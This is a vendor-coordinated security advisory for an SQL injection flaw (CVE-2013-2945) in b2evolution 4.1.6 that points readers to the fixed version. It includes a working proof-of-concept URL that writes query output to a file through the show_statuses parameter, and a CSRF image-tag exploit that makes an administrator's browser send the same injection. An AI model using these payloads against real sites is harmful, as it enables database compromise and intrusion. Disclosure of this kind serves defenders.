Advisory ID: HTB23152
Product: b2evolution
Vendor: b2evolution Group
Vulnerable Version(s): 4.1.6 and probably prior
Tested Version: 4.1.6
Vendor Notification: April 10, 2013=20
Vendor Patch: April 29, 2013=20
Public Disclosure: May 1, 2013=20
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-2945
Risk Level: Medium=20
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
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Advisory Details:
High-Tech Bridge Security Research Lab discovered SQL injection vulnerabili=
ty in b2evolution, which can be exploited to alter SQL requests passed to t=
he vulnerable application's database.
1) SQL Injection in b2evolution: CVE-2013-2945
The vulnerability exists due to insufficient validation of HTTP GET paramet=
er "show_statuses" in "/blogs/admin.php" script. A remote authenticated adm=
inistrator can execute arbitrary SQL commands in application's database.
Depending on database and system configuration, PoC code below will create =
a "/tmp/file.txt" file, containing MySQL version:
http://[host]/blogs/admin.php?submit=3DSearch&ctrl=3Ditems&tab=3Dfull&blog=
=3D1&show_statuses[]=3D1') )) UNION SELECT version() INTO OUTFILE '/tmp/fil=
e.txt' --=20
This vulnerability is also exploitable via CSRF vector, since the applicati=
on is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so=
an attacker should trick a logged-in administrator to visit malicious web =
page with CSRF exploit.
Basic CSRF exploit:
<img src=3D"http://[host]/blogs/admin.php?submit=3DSearch&ctrl=3Ditems&tab=
=3Dfull&blog=3D1&show_statuses[]=3D1') )) UNION SELECT version() INTO OUTFI=
LE '/tmp/file.txt' --">=20
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Solution:
Upgrade to b2evolution 4.1.7
More Information:
http://b2evolution.net/news/2013/04/29/b2evolution-4-1-7-and-5-0-3
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References:
[1] High-Tech Bridge Advisory HTB23152 - https://www.htbridge.com/advisory/=
HTB23152 - SQL Injection in b2evolution
[2] b2evolution - http://b2evolution.net/ - A powerful free blog/CMS engine=
you can install on your own website.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
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Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.